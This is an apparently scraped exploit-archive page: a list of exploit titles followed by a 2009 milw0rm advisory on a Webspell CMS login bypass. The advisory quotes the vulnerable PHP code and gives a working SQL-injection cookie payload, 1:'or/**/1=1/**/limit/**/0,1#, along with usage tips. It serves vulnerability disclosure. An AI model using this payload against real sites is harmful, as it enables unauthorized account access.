477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
81 lines
2.3 KiB
Text
Executable file
81 lines
2.3 KiB
Text
Executable file
#Webspell Login Bypass
|
|
#Found by: h0yt3r
|
|
#
|
|
##
|
|
#Checklogin.php Line 60:
|
|
#
|
|
# setcookie("ws_auth", $ds['userID'].":".$ws_pwd, time()+($sessionduration*60*60));
|
|
# $login = 1;
|
|
#
|
|
##
|
|
#_functions.php Line 253:
|
|
#
|
|
# $login_per_cookie = false;
|
|
# if(isset($_COOKIE['ws_auth']) AND !isset($_SESSION['ws_auth'])) {
|
|
# $login_per_cookie = true;
|
|
# $_SESSION['ws_auth'] = $_COOKIE['ws_auth'];
|
|
# }
|
|
##
|
|
#src/login.php:
|
|
#
|
|
# global $userID, $loggedin;
|
|
#
|
|
# $userID = 0;
|
|
# $loggedin=false;
|
|
#
|
|
# if(isset($_SESSION['ws_auth'])) {
|
|
# if(stristr($_SESSION['ws_auth'], "userid")===FALSE){
|
|
# $authent = explode(":", $_SESSION['ws_auth']);
|
|
# $ws_user = sprintf('%u', $authent[0]);
|
|
#
|
|
# // ws_pwd must be a string without spaces and with a maximum length of 32 <- ???
|
|
# $ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32);
|
|
#
|
|
# if(isset($ws_user) AND isset($ws_pwd)) {
|
|
#
|
|
# $check = safe_query("SELECT userID FROM ".PREFIX."user WHERE userID='$ws_user' AND password='$ws_pwd'");
|
|
#
|
|
# while($ds=mysql_fetch_array($check)) {
|
|
# $loggedin=true;
|
|
# $userID=$ds['userID'];
|
|
# }
|
|
# }
|
|
# } else die();
|
|
# }
|
|
# ?>
|
|
#
|
|
#
|
|
####
|
|
|
|
// ws_pwd must be a string without spaces and with a maximum length of 32
|
|
$ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32);
|
|
|
|
Wuta fuck is dis crap?!
|
|
$_COOKIE['ws_auth'] can be exploited by somting like dis:
|
|
1:'or/**/1=1/**/limit/**/0,1# (# <- is a comment, dont forget...)
|
|
And btw:
|
|
$_SESSION['ws_auth'] = $_COOKIE['ws_auth'];
|
|
So dont foget to delete teh session...
|
|
Bad thing: Only works wit magic_quotes == off
|
|
|
|
But they got some function:
|
|
#_functions.php:74
|
|
#function sql_quote($value) {
|
|
#
|
|
# if( get_magic_quotes_gpc() ) {
|
|
# $value = stripslashes( $value );
|
|
# }
|
|
# if( function_exists( "mysql_real_escape_string" ) ) {
|
|
# $value = mysql_real_escape_string( $value );
|
|
# }
|
|
# else
|
|
# {
|
|
# $value = addslashes( $value );
|
|
# }
|
|
# return $value;
|
|
#}
|
|
And why in the world isnt it used?!
|
|
|
|
~END~
|
|
|
|
# milw0rm.com [2009-01-03]
|